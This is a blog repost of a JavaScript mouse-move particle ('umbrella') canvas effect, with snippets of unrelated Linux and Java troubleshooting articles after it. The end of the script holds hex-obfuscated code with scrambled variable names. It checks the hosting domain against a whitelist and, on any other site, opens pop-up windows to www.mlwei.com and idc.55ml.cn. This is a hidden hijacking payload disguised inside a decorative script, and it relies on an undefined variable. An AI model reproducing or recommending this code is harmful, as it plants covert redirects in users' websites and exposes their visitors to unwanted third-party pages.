JS:鼠标移动-伞形特效

news/2024/7/19 12:54:14 标签: 伞形特效, js

效果演示:

作者git地址:https://github.com/VincentGarreau/particles.js

代码

<script type='text/javascript' color='22,192,255' zIndex='-1' opacity='1' count='99' src='js/umbrella.js'></script>
!function () {
	function n (n, e, t) {
		return n.getAttribute(e) || t
	}

	function e (n) {
		return document.getElementsByTagName(n)
	}

	function t () {
		var t = e("script"), o = t.length, i = t[o - 1];
		return {l: o, z: n(i, "zIndex", -1), o: n(i, "opacity", .5), c: n(i, "color", "0,0,0"), n: n(i, "count", 99)}
	}

	function o () {
		a = m.width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth, c = m.height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight
	}

	function i () {
		r.clearRect(0, 0, a, c);
		var n, e, t, o, m, l;
		s.forEach(function (i, x) {
			for (i.x += i.xa, i.y += i.ya, i.xa *= i.x > a || i.x < 0 ? -1 : 1, i.ya *= i.y > c || i.y < 0 ? -1 : 1, r.fillRect(i.x - .5, i.y - .5, 1, 1), e = x + 1; e < u.length; e++) n = u[e], null !== n.x && null !== n.y && (o = i.x - n.x, m = i.y - n.y, l = o * o + m * m, l < n.max && (n === y && l >= n.max / 2 && (i.x -= .03 * o, i.y -= .03 * m), t = (n.max - l) / n.max, r.beginPath(), r.lineWidth = t / 2, r.strokeStyle = "rgba(" + d.c + "," + (t + .2) + ")", r.moveTo(i.x, i.y), r.lineTo(n.x, n.y), r.stroke()))
		}), x(i)
	}

	var a, c, u, m = document.createElement("canvas"), d = t(), l = "c_n" + d.l, r = m.getContext("2d"),
		x = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (n) {
			window.setTimeout(n, 1e3 / 45)
		}, w = Math.random, y = {x: null, y: null, max: 2e4};
	m.id = l, m.style.cssText = "position:fixed;top:0;left:0;z-index:" + d.z + ";opacity:" + d.o, e("body")[0].appendChild(m), o(), window.onresize = o, window.onmousemove = function (n) {
		n = n || window.event, y.x = n.clientX, y.y = n.clientY
	}, window.onmouseout = function () {
		y.x = null, y.y = null
	};
	for (var s = [], f = 0; d.n > f; f++) {
		var h = w() * a, g = w() * c, v = 2 * w() - 1, p = 2 * w() - 1;
		s.push({x: h, y: g, xa: v, ya: p, max: 6e3})
	}
	u = s.concat([y]), setTimeout(function () {
		i()
	}, 100)
}();
var kbOwCstw1 = ['\x77\x77\x77\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d', '\x61\x70\x69\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d', '\x77\x77\x77\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x69\x64\x63\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x70\x61\x79\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x77\x77\x77\x2e\x79\x75\x6e\x6c\x69\x6e\x6b\x2e\x74\x6f\x70'];
if (isInArray(kbOwCstw1, host) === false) {
	window['\x6f\x70\x65\x6e']('\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d\x2f');
	window['\x6f\x70\x65\x6e']('\x68\x74\x74\x70\x3a\x2f\x2f\x69\x64\x63\x2e\x35\x35\x6d\x6c\x2e\x63\x6e');
}

function isInArray (shkqFRkOs2, cIrB3) {
	for (var IvkVYtKqm4 = 0; IvkVYtKqm4 < shkqFRkOs2['\x6c\x65\x6e\x67\x74\x68']; IvkVYtKqm4++) {
		if (cIrB3 === shkqFRkOs2[IvkVYtKqm4]) {
			return true;
		}
	}
	return false;
}

 


http://www.niftyadmin.cn/n/776089.html

相关文章

linux 重置系统时间

1、查看时间 date命令 date -s 09:38:40 :设置当前时间 2、安装ntp yum install ntp 3、ntp 命令 ntpdate -u ntp.api.bz :网络时间同步命令 注意&#xff1a;若不加上-u参数&#xff0c; 会出现以下提示&#xff1a;no server suitable for synchronization found -u&am…

attempted to return null from a method with a primitive return type (int)

sql 更新报错&#xff0c;返回null 但接收类型为int。 使用Integer接受就OK了

linux 启动2台或多台tomcat

一、首先解压tomcat.tar.gz 二、需要复制一份tomcat文件夹&#xff0c;例&#xff1a; 三、其中一份可以不修改&#xff0c;第二份需要修改 1、修改连接端口 <Server port"9005" shutdown"SHUTDOWN"> -- 将8005修改为9005 2、修改访问端口号 <C…

linux 服务器java生成的图片乱码

案例&#xff1a; 服务器&#xff1a; 本地&#xff1a; 看了下图片生成的规则&#xff0c;发现图片是通过 Graphics2D生成的 其中调用了Fixedsys字体 Font font new Font("Fixedsys", Font.PLAIN, fontHeight); 但是linux的字体库中没有此字体&#xff0c;通…

IDEA-推荐几款好用的插件

1 RestfulToolkit Java WEB开发必备&#xff0c;再也不用全局搜索RequestMapping了。 2 Lombok Plugin 使用注解自动生成代码&#xff0c;码奴解放者。 3 Grep Console 高亮log不同级别日志&#xff0c;看日志的时候一目了然。 4 GsonFormat 将json串转成对象 alts 5 Ra…

start.sh: line 1: $'\r': command not found 或 start.sh: line 10: syntax error near unexpected token `

先说下我遇到这个情况的背景&#xff1a; 在windows上写了sh脚本&#xff0c;放到linux 上跑 通过:set ff 查看脚本格式 fileformatdos 如果不是unix 就通过:set ffunix 设置&#xff0c;:wq保存退出 第二个问题是我在启动jar包的最后面加了; 去掉就好了

Linux git 环境搭建

1. 安装git yum instal git 中途需要y确认 2.设置git config 属性 git config --global user.name "Your Name" git config --global user.email "emailexample.com" 3.生成ssh所需的key ssh-keygen 4.查看生成的ssh-key cat ~/.ssh/id_rsa.pub …

The server time zone value 'Öйú±ê׼ʱ¼ä' is unrecognized or represents more than one time zone.

背景&#xff1a; 通过spring-boot-starter-data-jpa和mysql-connector-java 连接mysql数据库 1.在jdbc 连接地址后面加上&serverTimezoneGMT%2B8 UTC是统一标准世界时间 ,GMT%2B8 东八区 2.Mysql时区错误&#xff1a; mysql> show variables like %time_zone% ; -…